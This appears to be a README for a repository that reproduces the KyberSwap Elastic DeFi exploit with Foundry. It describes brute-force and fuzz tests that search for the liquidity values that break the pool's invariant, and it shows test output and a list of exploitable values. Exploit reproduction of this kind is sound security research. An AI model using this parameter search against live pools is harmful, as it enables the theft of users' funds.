Here's the reproduction of the Kyber elastic exploit. For more details on the underlying issue, please see this link.
This might be one of the most intricate DeFi protocol exploits to date, requiring highly accurate and specific parameters for successful attack transactions. A discrepancy as small as 1 wei could lead to different outcomes.
I was intrigued by how the hacker managed to determine the exact parameters needed for various Kyber pools.
At first, I tried using some random numbers to reproduce this attack. But it was unsuccessful and it turned out that obtaining the the correct parameters is difficult with a very low likelihood of success.
Eventually, I found that Foundry could be used to perform brute force testing to pinpoint vulnerable parameters. (Kudos to Foundry for executing Solidity code at blazing fast speeds!)
As of now, this repository only includes methods using brute force—is there a better approach?
This test setup a 1:1 pool and brute forcing to get a value to exploit the pool.
❯ forge test -vvv --mt testBruteForceExploit
It will take a while to run this test, since it's brute forcing.
A particle attack may leverage a forked network to pre-calculate necessary values, which are then utilized in the attack transaction.
Run fuzz to test if it can get an exploitable value (only 1 fuzz variable).
By default, foundry fuzzer only generate 256 cases, which is not enough to get a exploitable value. I've changed the config to 65535 so that the fuzz test can take effect on this simple case.
❯ forge test -vvv --mt testFuzz
[⠊] Compiling...
No files changed, compilation skipped
Running 1 test for test/Kyber.t.sol:KyberAttack
[FAIL. Reason: Assertion failed. Counterexample: calldata=0x0x6590d6450000000000000000000000000000000030303030303030303030363636390000, args=[64053151420411946063694050374803062784 [6.405e37]]] testFuzz(uint128) (runs: 8493, μ: 9713, ~: 9800)
Logs:
Bound Result 67288735232761868185
liquidity 67288735232761868185
targetSqrtP 20693058119558072255662180724088
nextSqrtP 20693058119558072255665665854997
Error: a == b not satisfied [bool]
Expected: true
Actual: false
...
This test is expected to fail because the invariant cannot consistently be met in Kyber. I've simplified and focused on specific mathematical operations that impact the invariant for demonstration. In real production environment, we typically run fuzz tests on a higher-level swap functions, making the failure identification more challenging.
By utilizing the exceptionally fast foundry execution, we can evaluate the chances of getting a liquidity amount within a specified LP range that can be used for exploiting the protocol.
❯ forge test -vvv -mt testProbability
This runs a simple for loop to get the valid values(liquidity amount) found in a given LP range.
Some of the found numbers when setting liquidity to [80e18, 80e18+1e8]
:
❯ forge test -vvv -mt testProbability
...
liquidity 80000000000009325512
liquidity 80000000000009325561
liquidity 80000000000009325610
liquidity 80000000000009325660
liquidity 80000000000009325709
liquidity 80000000000009325759
liquidity 80000000000009325808
liquidity 80000000000009325857
liquidity 80000000000009325907
liquidity 80000000000009325956
liquidity 80000000000009326055
liquidity 80000000000009326104
liquidity 80000000000009326154
liquidity 80000000000009326203
liquidity 80000000000009326252
liquidity 80000000000009326302
liquidity 80000000000009326351
liquidity 80000000000009326401
liquidity 80000000000009326450
liquidity 80000000000009326499
liquidity 80000000000009326549
liquidity 80000000000009326598
liquidity 80000000000009326648
liquidity 80000000000009326697
liquidity 80000000000009326746
liquidity 80000000000009326796
liquidity 80000000000009326845
liquidity 80000000000009326895
liquidity 80000000000009326944
liquidity 80000000000009326993
liquidity 80000000000009327043
liquidity 80000000000009327092
liquidity 80000000000009327141
liquidity 80000000000009327191
liquidity 80000000000009327240
liquidity 80000000000009327290
liquidity 80000000000009327339
found 1983 in 10000000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 84.69s
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
When configuring the liquidity range to [20282409603651670423947251286016, 20693058119558072255662180724088]
and initiating with a liquidity amount of 80e18
, it identified 1983 valid values out of 10,000,000 attempts. Adjusting the range and initial liquidity can yield varying outcomes for further analysis.